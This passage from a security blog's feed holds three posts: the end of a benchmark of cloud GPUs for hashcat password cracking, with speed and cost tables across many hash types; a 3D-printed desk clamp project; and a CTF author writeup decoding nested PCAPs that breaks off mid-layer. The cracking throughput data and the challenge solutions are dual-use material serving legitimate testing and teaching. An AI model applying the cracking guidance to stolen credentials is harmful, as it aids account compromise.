stop it upon completion, so if you want to give it a try, make sure you shut
down the instance when you’re done with it. (It leaves the hashcat job running
in a <a href="https://github.com/tmux/tmux/wiki"><code class="language-plaintext highlighter-rouge">tmux</code></a> session for you to examine.)</p>
<p>At the moment, there are 6 available GPU accelerators on Google Cloud, spanning
the range of architectures from Kepler to Ampere (see <a href="https://cloud.google.com/compute/gpus-pricing">pricing
here</a>):</p>
<ul>
<li>NVIDIA A100 (Ampere)</li>
<li>NVIDIA T4 (Turing)</li>
<li>NVIDIA V100 (Volta)</li>
<li>NVIDIA P4 (Pascal)</li>
<li>NVIDIA P100 (Pascal)</li>
<li>NVIDIA K80 (Kepler)</li>
</ul>
<h2 id="performance-results">Performance Results</h2>
<p>I chose a handful of common hashes as representative samples across the
different architectures. These include MD5, SHA1, NTLM, <code class="language-plaintext highlighter-rouge">sha512crypt</code>, and
WPA-PBKDF2. These represent some of the most common password cracking
situations encountered by penetration testers. Unsurprisingly, overall
performance is most directly related to the number of CUDA cores, followed by
speed and architecture.</p>
<p><img src="/img/thundercrack/speeds.png" alt="Relative Performance Graph" class="center" /></p>
<p class="caption">Speeds in the graph are normalized to the slowest model in each test (the K80 in
all cases).</p>
<p>Note that the Ampere-based A100 is 11-15 <em>times</em> as a fast as the slowest K80.
(On some of the benchmarks, it can reach 55 <em>times</em> as fast, but these are less
common.)
There’s a wide range of hardware here, and depending on availability and GPU
type, you can attach from 1 to 16 GPUs to a single instance and <code class="language-plaintext highlighter-rouge">hashcat</code> can
spread the load across all of the attached GPUs.</p>
<p>Full results of all of the tests, using the slowest hardware as a baseline for
percentages:</p>
<table class="small"><thead><tr><th>Algorithm</th><th colspan="2">nvidia-tesla-k80</th><th colspan="2">nvidia-tesla-p100</th><th colspan="2">nvidia-tesla-p4</th><th colspan="2">nvidia-tesla-v100</th><th colspan="2">nvidia-tesla-t4</th><th colspan="2">nvidia-tesla-a100</th></tr></thead>
<tbody>
<tr><td>0 - MD5</td><td>4.3 GH/s</td><td>100.0%</td><td>27.1 GH/s</td><td>622.2%</td><td>16.6 GH/s</td><td>382.4%</td><td>55.8 GH/s</td><td>1283.7%</td><td>18.8 GH/s</td><td>432.9%</td><td>67.8 GH/s</td><td>1559.2%</td></tr>
<tr><td>100 - SHA1</td><td>1.9 GH/s</td><td>100.0%</td><td>9.7 GH/s</td><td>497.9%</td><td>5.6 GH/s</td><td>286.6%</td><td>17.5 GH/s</td><td>905.4%</td><td>6.6 GH/s</td><td>342.8%</td><td>21.7 GH/s</td><td>1119.1%</td></tr>
<tr><td>1400 - SHA2-256</td><td>845.7 MH/s</td><td>100.0%</td><td>3.3 GH/s</td><td>389.5%</td><td>2.0 GH/s</td><td>238.6%</td><td>7.7 GH/s</td><td>904.8%</td><td>2.8 GH/s</td><td>334.8%</td><td>9.4 GH/s</td><td>1116.7%</td></tr>
<tr><td>1700 - SHA2-512</td><td>230.3 MH/s</td><td>100.0%</td><td>1.1 GH/s</td><td>463.0%</td><td>672.5 MH/s</td><td>292.0%</td><td>2.4 GH/s</td><td>1039.9%</td><td>789.9 MH/s</td><td>343.0%</td><td>3.1 GH/s</td><td>1353.0%</td></tr>
<tr><td>22000 - WPA-PBKDF2-PMKID+EAPOL (Iterations: 4095)</td><td>80.7 kH/s</td><td>100.0%</td><td>471.4 kH/s</td><td>584.2%</td><td>292.9 kH/s</td><td>363.0%</td><td>883.5 kH/s</td><td>1094.9%</td><td>318.3 kH/s</td><td>394.5%</td><td>1.1 MH/s</td><td>1354.3%</td></tr>
<tr><td>1000 - NTLM</td><td>7.8 GH/s</td><td>100.0%</td><td>49.9 GH/s</td><td>643.7%</td><td>29.9 GH/s</td><td>385.2%</td><td>101.6 GH/s</td><td>1310.6%</td><td>33.3 GH/s</td><td>429.7%</td><td>115.3 GH/s</td><td>1487.3%</td></tr>
<tr><td>3000 - LM</td><td>3.8 GH/s</td><td>100.0%</td><td>25.0 GH/s</td><td>661.9%</td><td>13.1 GH/s</td><td>347.8%</td><td>41.5 GH/s</td><td>1098.4%</td><td>19.4 GH/s</td><td>514.2%</td><td>65.1 GH/s</td><td>1722.0%</td></tr>
<tr><td>5500 - NetNTLMv1 / NetNTLMv1+ESS</td><td>5.0 GH/s</td><td>100.0%</td><td>26.6 GH/s</td><td>533.0%</td><td>16.1 GH/s</td><td>322.6%</td><td>54.9 GH/s</td><td>1100.9%</td><td>19.7 GH/s</td><td>395.6%</td><td>70.6 GH/s</td><td>1415.7%</td></tr>
<tr><td>5600 - NetNTLMv2</td><td>322.1 MH/s</td><td>100.0%</td><td>1.8 GH/s</td><td>567.5%</td><td>1.1 GH/s</td><td>349.9%</td><td>3.8 GH/s</td><td>1179.7%</td><td>1.4 GH/s</td><td>439.4%</td><td>5.0 GH/s</td><td>1538.1%</td></tr>
<tr><td>1500 - descrypt, DES (Unix), Traditional DES</td><td>161.7 MH/s</td><td>100.0%</td><td>1.1 GH/s</td><td>681.5%</td><td>515.3 MH/s</td><td>318.7%</td><td>1.7 GH/s</td><td>1033.9%</td><td>815.9 MH/s</td><td>504.6%</td><td>2.6 GH/s</td><td>1606.8%</td></tr>
<tr><td>500 - md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) (Iterations: 1000)</td><td>2.5 MH/s</td><td>100.0%</td><td>10.4 MH/s</td><td>416.4%</td><td>6.3 MH/s</td><td>251.1%</td><td>24.7 MH/s</td><td>989.4%</td><td>8.7 MH/s</td><td>347.6%</td><td>31.5 MH/s</td><td>1260.6%</td></tr>
<tr><td>3200 - bcrypt $2\*$, Blowfish (Unix) (Iterations: 32)</td><td>2.5 kH/s</td><td>100.0%</td><td>22.9 kH/s</td><td>922.9%</td><td>13.4 kH/s</td><td>540.7%</td><td>78.4 kH/s</td><td>3155.9%</td><td>26.7 kH/s</td><td>1073.8%</td><td>135.4 kH/s</td><td>5450.9%</td></tr>
<tr><td>1800 - sha512crypt $6$, SHA512 (Unix) (Iterations: 5000)</td><td>37.9 kH/s</td><td>100.0%</td><td>174.6 kH/s</td><td>460.6%</td><td>91.6 kH/s</td><td>241.8%</td><td>369.6 kH/s</td><td>975.0%</td><td>103.5 kH/s</td><td>273.0%</td><td>535.4 kH/s</td><td>1412.4%</td></tr>
<tr><td>7500 - Kerberos 5, etype 23, AS-REQ Pre-Auth</td><td>43.1 MH/s</td><td>100.0%</td><td>383.9 MH/s</td><td>889.8%</td><td>186.7 MH/s</td><td>432.7%</td><td>1.0 GH/s</td><td>2427.2%</td><td>295.0 MH/s</td><td>683.8%</td><td>1.8 GH/s</td><td>4281.9%</td></tr>
<tr><td>13100 - Kerberos 5, etype 23, TGS-REP</td><td>32.3 MH/s</td><td>100.0%</td><td>348.8 MH/s</td><td>1080.2%</td><td>185.3 MH/s</td><td>573.9%</td><td>1.0 GH/s</td><td>3123.0%</td><td>291.7 MH/s</td><td>903.4%</td><td>1.8 GH/s</td><td>5563.8%</td></tr>
<tr><td>15300 - DPAPI masterkey file v1 (Iterations: 23999)</td><td>15.6 kH/s</td><td>100.0%</td><td>80.8 kH/s</td><td>519.0%</td><td>50.2 kH/s</td><td>322.3%</td><td>150.9 kH/s</td><td>968.9%</td><td>55.6 kH/s</td><td>356.7%</td><td>187.2 kH/s</td><td>1202.0%</td></tr>
<tr><td>15900 - DPAPI masterkey file v2 (Iterations: 12899)</td><td>8.1 kH/s</td><td>100.0%</td><td>36.7 kH/s</td><td>451.0%</td><td>22.1 kH/s</td><td>271.9%</td><td>79.9 kH/s</td><td>981.4%</td><td>31.3 kH/s</td><td>385.0%</td><td>109.2 kH/s</td><td>1341.5%</td></tr>
<tr><td>7100 - macOS v10.8+ (PBKDF2-SHA512) (Iterations: 1023)</td><td>104.1 kH/s</td><td>100.0%</td><td>442.6 kH/s</td><td>425.2%</td><td>272.5 kH/s</td><td>261.8%</td><td>994.6 kH/s</td><td>955.4%</td><td>392.5 kH/s</td><td>377.0%</td><td>1.4 MH/s</td><td>1304.0%</td></tr>
<tr><td>11600 - 7-Zip (Iterations: 16384)</td><td>91.9 kH/s</td><td>100.0%</td><td>380.5 kH/s</td><td>413.8%</td><td>217.0 kH/s</td><td>236.0%</td><td>757.8 kH/s</td><td>824.2%</td><td>266.6 kH/s</td><td>290.0%</td><td>1.1 MH/s</td><td>1218.6%</td></tr>
<tr><td>12500 - RAR3-hp (Iterations: 262144)</td><td>12.1 kH/s</td><td>100.0%</td><td>64.2 kH/s</td><td>528.8%</td><td>20.3 kH/s</td><td>167.6%</td><td>102.2 kH/s</td><td>842.3%</td><td>28.1 kH/s</td><td>231.7%</td><td>155.4 kH/s</td><td>1280.8%</td></tr>
<tr><td>13000 - RAR5 (Iterations: 32799)</td><td>10.2 kH/s</td><td>100.0%</td><td>39.6 kH/s</td><td>389.3%</td><td>24.5 kH/s</td><td>240.6%</td><td>93.2 kH/s</td><td>916.6%</td><td>30.2 kH/s</td><td>297.0%</td><td>118.7 kH/s</td><td>1167.8%</td></tr>
<tr><td>6211 - TrueCrypt RIPEMD160 + XTS 512 bit (Iterations: 1999)</td><td>66.8 kH/s</td><td>100.0%</td><td>292.4 kH/s</td><td>437.6%</td><td>177.3 kH/s</td><td>265.3%</td><td>669.9 kH/s</td><td>1002.5%</td><td>232.1 kH/s</td><td>347.3%</td><td>822.4 kH/s</td><td>1230.8%</td></tr>
<tr><td>13400 - KeePass 1 (AES/Twofish) and KeePass 2 (AES) (Iterations: 24569)</td><td>10.9 kH/s</td><td>100.0%</td><td>67.0 kH/s</td><td>617.1%</td><td>19.0 kH/s</td><td>174.8%</td><td>111.2 kH/s</td><td>1024.8%</td><td>27.3 kH/s</td><td>251.2%</td><td>139.0 kH/s</td><td>1281.0%</td></tr>
<tr><td>6800 - LastPass + LastPass sniffed (Iterations: 499)</td><td>651.9 kH/s</td><td>100.0%</td><td>2.5 MH/s</td><td>390.4%</td><td>1.5 MH/s</td><td>232.2%</td><td>6.0 MH/s</td><td>914.8%</td><td>2.0 MH/s</td><td>304.7%</td><td>7.6 MH/s</td><td>1160.0%</td></tr>
<tr><td>11300 - Bitcoin/Litecoin wallet.dat (Iterations: 200459)</td><td>1.3 kH/s</td><td>100.0%</td><td>5.0 kH/s</td><td>389.9%</td><td>3.1 kH/s</td><td>241.5%</td><td>11.4 kH/s</td><td>892.3%</td><td>4.1 kH/s</td><td>325.3%</td><td>14.4 kH/s</td><td>1129.2%</td></tr>
</tbody></table>
<h2 id="value-results">Value Results</h2>
<p>Believe it or not, <em>speed</em> doesn’t tell the whole story, unless you’re able to
bill the cost directly to your customer – in that case, go straight for that
16-A100 instance. :)</p>
<p>You’re probably more interested in <em>value</em> however – that is, hashes per
dollar. This is computed based on the speed and price per hour, resulting in
hash per dollar value. For each card, I computed the median relative
performance across all of the hashes in the default <code class="language-plaintext highlighter-rouge">hashcat</code> benchmark. I then
divided performance by price per hour, then normalized these values again.</p>
<p><img src="/img/thundercrack/value.png" alt="Relative Value" class="center" /></p>
<p class="caption">Relative value is the mean speed per cost, in terms of the K80.</p>
<table><thead><tr><th>Card</th><th>Performance</th><th>Price</th><th>Value</th></tr></thead>
<tbody>
<tr><td>nvidia-tesla-k80</td><td>100.0</td><td>$0.45</td><td>1.00</td></tr>
<tr><td>nvidia-tesla-p100</td><td>519.0</td><td>$1.46</td><td>1.60</td></tr>
<tr><td>nvidia-tesla-p4</td><td>286.6</td><td>$0.60</td><td>2.15</td></tr>
<tr><td>nvidia-tesla-v100</td><td>1002.5</td><td>$2.48</td><td>1.82</td></tr>
<tr><td>nvidia-tesla-t4</td><td>356.7</td><td>$0.35</td><td>4.59</td></tr>
<tr><td>nvidia-tesla-a100</td><td>1341.5</td><td>$2.93</td><td>2.06</td></tr>
</tbody></table>
<p>Though the NVIDIA T4 is nowhere near the fastest, it is the most efficient in
terms of cost, primarily due to its very low $0.35/hr pricing. (At the time of
writing.) If you have a particular hash to focus on, you may want to consider
doing the math for that hash type, but the relative performances seem to have
the same trend. It’s actually a great value.</p>
<p>So maybe the next time you’re on an engagement and need to crack hashes, you’ll
be able to figure out if the cloud is right for you.</p>
Making: A Desk Clamp for Light Panels2021-03-31T00:00:00-07:00https://systemoverlord.com/2021/03/31/making-a-desk-clamp-for-light-panels
<p>On a little bit of a tangent from my typical security posting, I thought I’d
include some of my “making” efforts.</p>
<p>Due to the working from home for an extended period of time, I wanted to improve
my video-conferencing setup somewhat. I have my back to windows, so the
lighting is pretty bad, so I wanted to get some lights. I didn’t want to spend
<a href="https://amzn.to/3sHCABD">big money</a>, so I got this set of <a href="https://amzn.to/3rzYDJj">Neewer USB-powered
lights</a>. It came with tripod bases, monopod-style
stands, and ball heads to mount the lights.</p>
<!--more-->
<p>The lights work well and are a great value for the money, but the stands are not
as great. The tripods are sufficiently light that they’re easy to knock over,
and they take more desk space than I’d really like. I have a lot of stuff on my
desk, and appreciate desk real estate, so go to great length to minimize
permanent fixtures on the desk. I have my monitors on monitor arms, my desk
lamp on a mount, etc. I really wanted to minimize the space used by these
lights.</p>
<p>I looked for an option to clamp to the desk and support the existing monopods
with the light. I found a <a href="https://amzn.to/31BwTcE">couple</a> of
<a href="https://amzn.to/3fuKzyd">options</a> on Amazon, but they either weren’t ideal, or
I was going to end up spending as much on the clamps as I did on the lamps. I
wanted to see if I could do an alternative.</p>
<p>I have a <a href="https://amzn.to/39wqrrI">3D Printer</a>, so almost every real-world
problem looks like a use case for 3D printing, and this was no exception. I
wasn’t sure if a 3D-printed clamp would have the strength and capability to
support the lights, and didn’t think the printer could make threads small enough
to fit into the base of the lamp monopods (which accept a 1/4x20 thread, just
like used on cameras and other photography equipment).</p>
<p>I decided to see if I could incorporate a metal thread into a 3D printed part in
some way. There are <a href="https://amzn.to/31Euk9u">threaded inserts</a> you can implant
into a 3D print, but I was concerned about the strength of that connection, and
would still need a threaded adapter to connect the two (since both ends would
now be a “female” connector). Instead, I realized I could incorporate a
<a href="https://amzn.to/39vFj9D">1/4x20 bolt</a> into the print. I settled on 3/8” length
so it wouldn’t stick too far through the print and a hex head so it wouldn’t
rotate in the print, making screwing/unscrewing the item easier.</p>
<p>I designed a basic clamp shape with a 2” opening for the desk, and then used
<a href="https://github.com/adrianschlatter/threadlib">this excellent thread library</a> to
make a large screw in the device to clamp it to the desk from the bottom. I put
an inset for the hex head in the top and a hole for the screw to fit through.
When I printed my first test, I was pretty concerned that things wouldn’t fit or
would break at the slightest torquing.</p>
<p><img src="/img/3dp/clamp_sideview.jpg" alt="Clamp Sideview" /></p>
<p>Much to my own surprise, it just worked! The screw threads on the clamp side
were a little bit tight at first, but they work quite well, and certainly don’t
come undone over time. I’ve now had my light mounted on one of these clamps for
a few months and no problems, but I would definitely <strong>not</strong> recommend a 3D
printed clamp for something heavy or very valuable. (If I’m going to hold up a
several thousand dollar camera, I’m going to mount it on proper mounts.)</p>
<p><img src="/img/3dp/clamp_ondesk.jpg" alt="Clamp On Table" /></p>
<hr />
<hr />
<iframe height="420" width="620" frameborder="0" src="https://render.githubusercontent.com/view/3d?url=https://raw.githubusercontent.com/matir/hacks/master/3dp/clamps/desk_clamps/clamp.stl" sandbox="allow-scripts"></iframe>
<ul>
<li><a href="https://github.com/Matir/hacks/blob/master/3dp/clamps/desk_clamps/clamp.stl">STL File for
Clamp</a></li>
<li><a href="https://github.com/Matir/hacks/blob/master/3dp/clamps/desk_clamps/bolt.stl">STL File for
Bolt</a></li>
<li><a href="https://github.com/Matir/hacks/tree/master/3dp/clamps/desk_clamps">OpenSCAD
Sources</a></li>
</ul>
<p><strong>Note on printing</strong>: If you want to 3D print this yourself, lay the clamp on
its side on the print bed. Not only do you avoid needing support, you ensure
that the layers lines go along the “spine” of the clamp, rather than the stress
separating layers.</p>
<p><img src="/img/3dp/clamp_model.png" alt="Clamp Model" /></p>
BSidesSF 2021 CTF: Net Matroyshka (Author Writeup)2021-03-12T00:00:00-08:00https://systemoverlord.com/2021/03/12/bsidessf-2021-ctf-net-matroyshka-author-writeup
<p>Net Matroyshka was one of our “1337” tagged challenges for the 2021 BSidesSF
CTF. This indicated it was particularly hard, and our players can probably
confirm that.</p>
<p>If you haven’t played our CTF in the past, you might not be familiar with the
Matryoshka name. (Yep, I misspelled Matryoshka this year and didn’t catch it
before we launched.) It refers to the nesting <a href="https://en.wikipedia.org/wiki/Matryoshka_doll">Matryoshka
dolls</a>, and we’ve been doing a
series of challenges where they contain layers to be solved, often by different
encodings, formats, etc. This year, it was layers of PCAPs for some network
forensics challenges.</p>
<!--more-->
<p>The description from the scoreboard was simple:</p>
<blockquote>
<p>We heard you like PCAPs, so we put a PCAP inside your PCAP.</p>
</blockquote>
<p>You were provided with a file <code class="language-plaintext highlighter-rouge">8.zip</code>, which yielded <code class="language-plaintext highlighter-rouge">8.pcap</code> when unzipped.</p>
<h2 id="layer-8-http">Layer 8: HTTP</h2>
<p>Looking at <code class="language-plaintext highlighter-rouge">8.pcap</code> in Wireshark, we see a bunch of small HTTP packets and
several HTTP connections. If you look at the HTTP request statistics, we see
several connections, including the BSidesSF website, my website, and a request
to a private IP for a file named <code class="language-plaintext highlighter-rouge">7.zip</code>.</p>
<p><img src="/img/bsidessf/nm_8_1.png" alt="HTTP Requests" /></p>
<p>Guessing that we’ll need <code class="language-plaintext highlighter-rouge">7.zip</code>, you can use Wireshark to extract the HTTP
object (the contents). (File > Export Objects > HTTP) Extracting <code class="language-plaintext highlighter-rouge">7.zip</code>, you
discover that it requires a password. If you return to the connection in
Wireshark and look at the TCP connection with <code class="language-plaintext highlighter-rouge">Follow TCP Stream</code>, you’ll see
the full HTTP Request/Response. In the response, there’s a header that says
<code class="language-plaintext highlighter-rouge">X-Zip-Password: goodluck,havefun</code>. Using the password <code class="language-plaintext highlighter-rouge">goodluck,havefun</code>,
we’re able to extract 7.pcap.</p>
<h2 id="layer-7-ftp">Layer 7: FTP</h2>
<p>If you open <code class="language-plaintext highlighter-rouge">7.pcap</code> in Wireshark, you’ll discover an FTP connection. The
entirety of the FTP control connection is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre>220 (vsFTPd 3.0.3)
USER anonymous
331 Please specify the password.
PASS thisisnottheflag
230 Login successful.
SYST
215 UNIX Type: L8
TYPE I
200 Switching to Binary mode.
PORT 10,128,0,2,226,169
200 PORT command successful. Consider using PASV.
RETR 6.zip
150 Opening BINARY mode data connection for 6.zip (38384 bytes).
226 Transfer complete.
QUIT
221 Goodbye.
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Unsurprisingly, we see that a file named <code class="language-plaintext highlighter-rouge">6.zip</code> was transferred. If you go to
the <code class="language-plaintext highlighter-rouge">FTP-DATA</code> protocol stream and use <code class="language-plaintext highlighter-rouge">Follow TCP Stream</code>, you can hit <code class="language-plaintext highlighter-rouge">Save
As</code> (in Raw mode) and get <code class="language-plaintext highlighter-rouge">6.zip</code>. Unzipping <code class="language-plaintext highlighter-rouge">6.zip</code>, you get <code class="language-plaintext highlighter-rouge">6.pcap</code>.
(I’m starting to see a pattern here!)</p>
<h2 id="layer-6-rsync">Layer 6: Rsync</h2>
<p>(Side note: this level turned out to be much harder than I really intended.
rsyncd is not as well documented as I’d thought.)</p>
<p>Opening <code class="language-plaintext highlighter-rouge">6.pcap</code>, you find a single rsyncd connection. You’ll note the
<code class="language-plaintext highlighter-rouge">@RSYNCD</code> magic and the version of <code class="language-plaintext highlighter-rouge">31.0</code>. I ended up using the <code class="language-plaintext highlighter-rouge">rsync</code> source
code to understand the traffic along with a known sample connection to confirm
my understanding.</p>
<p>I started by looking at
<a href="https://github.com/WayneD/rsync/blob/9fc7deab0d917db5ddcdc752be13853039c8f877/receiver.c#L236"><code class="language-plaintext highlighter-rouge">receive_data</code></a>.
If you follow it down, you see that it calls a function called <code class="language-plaintext highlighter-rouge">recv_token</code>.
Following <code class="language-plaintext highlighter-rouge">recv_token</code>, we see it calls <a href="https://github.com/WayneD/rsync/blob/9fc7deab0d917db5ddcdc752be13853039c8f877/token.c#L276"><code class="language-plaintext highlighter-rouge">simple_recv_token</code></a> if compression is
not enabled.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="k">static</span> <span class="n">int32</span> <span class="nf">simple_recv_token</span><span class="p">(</span><span class="kt">int</span> <span class="n">f</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">static</span> <span class="n">int32</span> <span class="n">residue</span><span class="p">;</span>
<span class="k">static</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">;</span>
<span class="n">int32</span> <span class="n">n</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">buf</span><span class="p">)</span>
<span class="n">buf</span> <span class="o">=</span> <span class="n">new_array</span><span class="p">(</span><span class="kt">char</span><span class="p">,</span> <span class="n">CHUNK_SIZE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">residue</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">int32</span> <span class="n">i</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o"><=</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="n">i</span><span class="p">;</span>
<span class="n">residue</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
<span class="p">}</span>
<span class="o">*</span><span class="n">data</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">MIN</span><span class="p">(</span><span class="n">CHUNK_SIZE</span><span class="p">,</span><span class="n">residue</span><span class="p">);</span>
<span class="n">residue</span> <span class="o">-=</span> <span class="n">n</span><span class="p">;</span>
<span class="n">read_buf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span><span class="n">buf</span><span class="p">,</span><span class="n">n</span><span class="p">);</span>
<span class="k">return</span> <span class="n">n</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>This function reads a serialized integer off the socket (<code class="language-plaintext highlighter-rouge">read_int</code>), then
attempts to read up to either <code class="language-plaintext highlighter-rouge">CHUNK_SIZE</code> (which is 32k) or the integer bytes.
This is a pretty common pattern: send a length encoded in a fixed format,
followed by that many bytes of data. Most of the time, I would expect the
length to be in “network byte order” (big-endian), but for some reason, rsyncd
uses little-endian. I’m guessing this wasn’t originally specified and
implementations were on x86. (It also makes the code ever so slightly more
efficient on x86.)</p>
<p>So we know now how files are transferred, but it turns out there’s a bunch of
metadata before the file transfer. I didn’t want to deal with decoding that. I
decided to look for the zip file signature as a start, then back up 4 bytes to
read the chunk length. I wasn’t 100% sure this would work, so I set up an rsync
server with a known file to test against, and it did. I used <a href="https://scapy.net/"><code class="language-plaintext highlighter-rouge">scapy</code></a>
to extract the packet contents and then Python’s
<a href="https://docs.python.org/3/library/struct.html"><code class="language-plaintext highlighter-rouge">struct</code></a> module to extract
information.</p>
<p>Returning to the challenge’s <code class="language-plaintext highlighter-rouge">6.pcap</code>, I was able to apply this technique and
discovered that it was transferred in 2 chunks: the first was 32768 bytes (32k),
which is the maximum <code class="language-plaintext highlighter-rouge">CHUNK_SIZE</code> used by rsync, then the 2nd was 3881 bytes.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="n">pcap</span> <span class="o">=</span> <span class="n">scapy</span><span class="p">.</span><span class="n">rdpcap</span><span class="p">(</span><span class="s">'6.pcap'</span><span class="p">)</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">pcap</span><span class="p">.</span><span class="n">sessions</span><span class="p">()[</span><span class="s">'TCP 10.128.0.3:873 > 10.128.0.2:57536'</span><span class="p">]</span>
<span class="c1"># Get application-layer bytes
</span><span class="n">raw</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">load</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">sess</span><span class="p">.</span><span class="n">getlayer</span><span class="p">(</span><span class="n">scapy</span><span class="p">.</span><span class="n">Raw</span><span class="p">))</span>
<span class="c1"># Find start of zip
</span><span class="n">pk_start</span> <span class="o">=</span> <span class="n">raw</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="sa">b</span><span class="s">'PK'</span><span class="p">)</span>
<span class="c1"># get length of first chunk
</span><span class="n">chunk_len</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">'<I'</span><span class="p">,</span> <span class="n">raw</span><span class="p">[</span><span class="n">pk_start</span><span class="o">-</span><span class="mi">4</span><span class="p">:</span><span class="n">pk_start</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">zip_bytes</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[</span><span class="n">raw</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="sa">b</span><span class="s">'PK'</span><span class="p">):]</span>
<span class="n">first</span> <span class="o">=</span> <span class="n">zip_bytes</span><span class="p">[:</span><span class="n">chunk_len</span><span class="p">]</span>
<span class="n">left</span> <span class="o">=</span> <span class="n">zip_bytes</span><span class="p">[</span><span class="n">chunk_len</span><span class="p">:]</span>
<span class="c1"># get length of second chunk
</span><span class="n">chunk_len</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">'<I'</span><span class="p">,</span> <span class="n">zip_bytes</span><span class="p">[:</span><span class="mi">4</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">first</span> <span class="o">+=</span> <span class="n">left</span><span class="p">[</span><span class="mi">4</span><span class="p">:</span><span class="mi">4</span><span class="o">+</span><span class="n">chunk_len</span><span class="p">]</span>
<span class="nb">open</span><span class="p">(</span><span class="s">'5.zip'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">first</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Using this code gave our <code class="language-plaintext highlighter-rouge">5.zip</code>, which contains, of course, <code class="language-plaintext highlighter-rouge">5.pcap</code>.</p>
<p>A lot of people seemed to attempt to blindly carve the Zip file out of the PCAP
stream, using binwalk or other tools. Often, they reported that the file was
corrupted, even specifying that it was 4 bytes. This was probably from the
error received from <code class="language-plaintext highlighter-rouge">unzip</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>warning [5E.zip]: 4 extra bytes at beginning or within zipfile
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Alternatively, attempting to open the resulting <code class="language-plaintext highlighter-rouge">5.pcap</code> with Wireshark gave an
error claiming corruption.</p>
<p><img src="/img/bsidessf/nm_6_1.png" alt="Wireshark Error" /></p>
<p>Both of these were caused by the inclusion of the 4 byte length of the 2nd chunk
in the data stream. Failing to recognize that it was part of the rsync metadata
lead players astray into believing the Zip file or PCAP were corrupt, but it was
the packet carving technique that lead to this.</p>
<h2 id="layer-5-tftp">Layer 5: TFTP</h2>
<p>Opening <code class="language-plaintext highlighter-rouge">5.pcap</code> in Wireshark, we find a single TFTP session. TFTP is a UDP
protocol, but we don’t appear to have any missing or out-of-order packets here.
Looking at the TFTP request, we see that there’s a read request for <code class="language-plaintext highlighter-rouge">4.zip</code>, and
that the “Type” is <code class="language-plaintext highlighter-rouge">netascii</code>:</p>
<p><img src="/img/bsidessf/nm_5_1.png" alt="TFTP Request" /></p>
<p>If we use Wireshark to extract <code class="language-plaintext highlighter-rouge">4.zip</code> by using the <code class="language-plaintext highlighter-rouge">File > Export Objects >
TFTP</code> menu option, then try to unzip the resulting file, we’ll be told it’s
corrupt.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>% unzip -l 4.zip
Archive: 4.zip
warning [4.zip]: 256 extra bytes at beginning or within zipfile
(attempting to process anyway)
error [4.zip]: start of central directory not found;
zipfile corrupt.
(please check that you have transferred or created the zipfile in the
appropriate BINARY mode and that you have compiled UnZip properly)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>It turns out that Wireshark does not decode the <code class="language-plaintext highlighter-rouge">netascii</code> decoding in the
course of the transfer, so we need to do that after. According to
<a href="https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol">Wikipedia</a>:</p>
<blockquote>
<p>Netascii is a modified form of ASCII, defined in RFC 764. It consists of an
8-bit extension of the 7-bit ASCII character space from 0x20 to 0x7F (the
printable characters and the space) and eight of the control characters. The
allowed control characters include the null (0x00), the line feed (LF, 0x0A),
and the carriage return (CR, 0x0D). Netascii also requires that the end of
line marker on a host be translated to the character pair CR LF for
transmission, and that any CR must be followed by either a LF or the null.</p>
</blockquote>
